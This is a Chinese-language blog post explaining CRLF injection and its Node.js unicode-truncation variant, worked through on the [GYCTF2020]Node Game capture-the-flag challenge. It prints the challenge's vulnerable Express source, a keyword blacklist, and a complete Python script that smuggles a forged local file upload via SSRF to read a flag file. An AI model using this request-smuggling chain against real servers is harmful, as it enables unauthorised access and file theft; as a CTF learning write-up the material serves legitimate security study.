当前位置:   article > 正文

一道题学习node.js中的CRLF注入_node.js注入

node.js注入

前言

这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖。在此记录一下。

CRLF注入

学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生。所谓的CRLF就是回车加换行。常用于http数据包。字段之间用一个CRLF分割,首部和主题之间由两个CRLF分割。如果说我们能够控制http数据包中莫一个首部字段,况且web应用没有对用户的输入做严格的过滤,我们就可以向数据包注入一些CRLF,同时添加修改我们想要的字段以及字段值,比如cookie等。在此就用php的fsockopen函数测试一下。

测试代码:

  1. <?php
  2. highlight_file(__FILE__);
  3. $host=$_GET['url'];
  4. $fp = fsockopen($host, 80, $errno, $errstr, 30);
  5. if (!$fp) {
  6. echo "$errstr ($errno)<br />\n";
  7. } else {
  8. $out = "GET / HTTP/1.1\r\n";
  9. $out .= "Host: $host\r\n";
  10. $out .= "Connection: Close\r\n\r\n";
  11. fwrite($fp, $out);
  12. while (!feof($fp)) {
  13. echo fgets($fp, 128);
  14. }
  15. fclose($fp);
  16. }
  17. ?>

url输入1.116.160.155:2400,同时我们在服务器监听2400端口。最后得到回显。

看这个简单的数据包,我们能够控制host头,那么我们就在host注入,添加cookie,url输入

?url=1.116.160.155:2400%0d%0aCookie:PHPSESSID=admin

得到回显,

在http规范中,CRLF是一行的结束,当检测到%0d%0a,就会 转到下一行,我们添加的cookie字段就默认添加在Host字段下面了。成功在数据包中添加了cookie字段。这样我们就成功修改数据头部。

HTTP请求路径中的unicode字符损坏

这篇文章主要说明node.js中CRLF的注入。但是上文讲解的直接添加CRLF在这里是不奏效的,node.js中的http库会检测用户如果含有回车换行会直接报错。但是,node.js对http请求写入路径时,对unicode字符的有损编码可能会引起CRLF注入。

什么意思呢?虽然我们发出的请求路径指定为字符串,但是node.js会将请求作为原始字节输出。也就意味着我们需要对请求unicode编码。而js也是默认支持unicode字符串的。node.js默认使用“latin1”编码,这是一种单字节字符集,不能表示高编码unicode字符串。比如说\u0130就会被截断为\u30。

但看字符损坏没有什么用处,如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF,那么我们就可以利用这个漏洞向数据包注入恶意的CRLF。

 

这个unicode字符损坏漏洞只适用于node.js v8以及更低的版本。在10版本中如果遇到非ascii码就会抛出错误。看一个题目感受一下。

[GYCTF2020]Node Game

打开题目:

 

这里有两个功能,一个是文件上传,只能admin才能上传文件。另一个功能是获取源代码。看一下node.js代码:

node.js源代码

 

  1. var express = require('express');
  2. var app = express();
  3. var fs = require('fs');
  4. var path = require('path');
  5. var http = require('http');
  6. var pug = require('pug');
  7. var morgan = require('morgan'); // morgan是express默认的日志中间件
  8. const multer = require('multer');
  9. app.use(multer({dest: './dist'}).array('file'));
  10. app.use(morgan('short'));
  11. app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
  12. app.use("/template",express.static(path.join(__dirname, '/template')))
  13. app.get('/', function(req, res) {
  14. var action = req.query.action?req.query.action:"index";
  15. if( action.includes("/") || action.includes("\\") ){//检测action是否有/和\\
  16. res.send("Errrrr, You have been Blocked");
  17. }
  18. file = path.join(__dirname + '/template/'+ action +'.pug');
  19. var html = pug.renderFile(file);
  20. res.send(html);
  21. });
  22. app.post('/file_upload', function(req, res){
  23. var ip = req.connection.remoteAddress;
  24. var obj = {
  25. msg: '',
  26. }
  27. if (!ip.includes('127.0.0.1')) {
  28. obj.msg="only admin's ip can use it"
  29. res.send(JSON.stringify(obj));
  30. return
  31. }
  32. fs.readFile(req.files[0].path, function(err, data){
  33. if(err){
  34. obj.msg = 'upload failed';
  35. res.send(JSON.stringify(obj));
  36. }else{
  37. var file_path = '/uploads/' + req.files[0].mimetype +"/";
  38. var file_name = req.files[0].originalname
  39. var dir_file = __dirname + file_path + file_name
  40. if(!fs.existsSync(__dirname + file_path)){// 以同步的方法检测目录是否存在
  41. try {
  42. fs.mkdirSync(__dirname + file_path)// 如果目录不存在则创建目录
  43. } catch (error) {
  44. obj.msg = "file type error";
  45. res.send(JSON.stringify(obj));
  46. return
  47. }
  48. }
  49. try {
  50. fs.writeFileSync(dir_file,data)
  51. obj = {
  52. msg: 'upload success',
  53. filename: file_path + file_name
  54. }
  55. } catch (error) {
  56. obj.msg = 'upload failed';
  57. }
  58. res.send(JSON.stringify(obj));
  59. }
  60. })
  61. })
  62. app.get('/source', function(req, res) {
  63. res.sendFile(path.join(__dirname + '/template/source.txt'));
  64. });
  65. app.get('/core', function(req, res) {
  66. var q = req.query.q;
  67. var resp = "";
  68. if (q) {
  69. var url = 'http://localhost:8081/source?' + q
  70. console.log(url)
  71. var trigger = blacklist(url);
  72. if (trigger === true) {
  73. res.send("<p>error occurs!</p>");
  74. } else {
  75. try {
  76. http.get(url, function(resp) {
  77. resp.setEncoding('utf8');
  78. resp.on('error', function(err) {
  79. if (err.code === "ECONNRESET") {
  80. console.log("Timeout occurs");
  81. return;
  82. }
  83. });
  84. resp.on('data', function(chunk) {
  85. try {
  86. resps = chunk.toString();
  87. res.send(resps);
  88. }catch (e) {
  89. res.send(e.message);
  90. }
  91. }).on('error', (e) => {
  92. res.send(e.message);});
  93. });
  94. } catch (error) {
  95. console.log(error);
  96. }
  97. }
  98. } else {
  99. res.send("search param 'q' missing!");
  100. }
  101. })
  102. function blacklist(url) {
  103. var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
  104. var arrayLen = evilwords.length;
  105. for (var i = 0; i < arrayLen; i++) {
  106. const trigger = url.includes(evilwords[i]);
  107. if (trigger === true) {
  108. return true
  109. }
  110. }
  111. }
  112. var server = app.listen(8081, function() {
  113. var host = server.address().address
  114. var port = server.address().port
  115. console.log("Example app listening at http://%s:%s", host, port)
  116. })

路由

源代码一共有四个路由,分别说明一下:

'/'路由,我们能够包含一个pug模板文件,并且将其渲染,返回给我们客户端。

'/file_upload'路由,上传文件,但是限制上传者的ip为127.0.0.1,将文件上传到upload/目录下,但是通过这段代码:

var file_path = '/uploads/' + req.files[0].mimetype +"/";

我们可以控制mimetype的值,利用目录穿越让文件下载到我们指定的目录中去。

'/source'路由,显示源码。

'/core'路由,通过参数q向内网的8081端口传参。获取到数据并且返回给客户端。对url有黑名单的限制。

做题思路

从刚才的路由分析,我们可以看出/core是存在ssrf漏洞的。可以上传一个含有flag文件路径的pug模板文件,控制mimetype将文件下载到/template目录下。以便在/路由对我们上传的pug模板文件进行包含。目前最大的难题就是如何伪造本地上传。那么我们就通过/core路由伪造上传包来上传我们的pug文件。

题解

通过上传功能抓取到上传的post数据包。

对数据包进行删除cookie,修改host,origin,referer字段为本机地址。将Content-Type改为 ../template,以便目录穿越。利用node.js对高编码字符截断漏洞向http数据包注入CRLF,来伪造一个本地上传数据包。引用大佬脚本:

  1. import urllib.parse
  2. import requests
  3. payload = ''' HTTP/1.1
  4. POST /file_upload HTTP/1.1
  5. Host: 127.0.0.1:8081
  6. Content-Length: 266
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Origin: http://127.0.0.1:8081
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
  11. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
  12. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  13. Referer: http://127.0.0.1:8081/?action=upload
  14. Accept-Encoding: gzip, deflate
  15. Accept-Language: zh-CN,zh;q=0.9
  16. Connection: close
  17. ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
  18. Content-Disposition: form-data; name="file"; filename="shell.pug"
  19. Content-Type: ../template
  20. doctype html
  21. html
  22. head
  23. style
  24. include ../../../../../../../flag.txt
  25. ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--
  26. GET / HTTP/1.1
  27. test:'''.replace("\n", "\r\n")
  28. def payload_encode(raw):
  29. ret = u""
  30. for i in raw:
  31. ret += chr(0x0100 + ord(i)) # 为回车换行添加高编码unicode字符
  32. return ret
  33. payload = payload_encode(payload)
  34. print(payload)
  35. r = requests.get('http://31c97aff-75cd-40bb-8bcb-b71fbaadc74a.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
  36. print(r.text)

上传pug文件后在根目录下访问?action=shell,在源代码中找到flag。

注意数据包中Content-Length字段一定要有,并且长度一定得正确。

关于pug模板的相关内容可参考一下链接:

pug模板入门_宿炎的博客-CSDN博客_pug模板

参考链接:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台  

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/582927
推荐阅读
相关标签
  

闽ICP备14008679号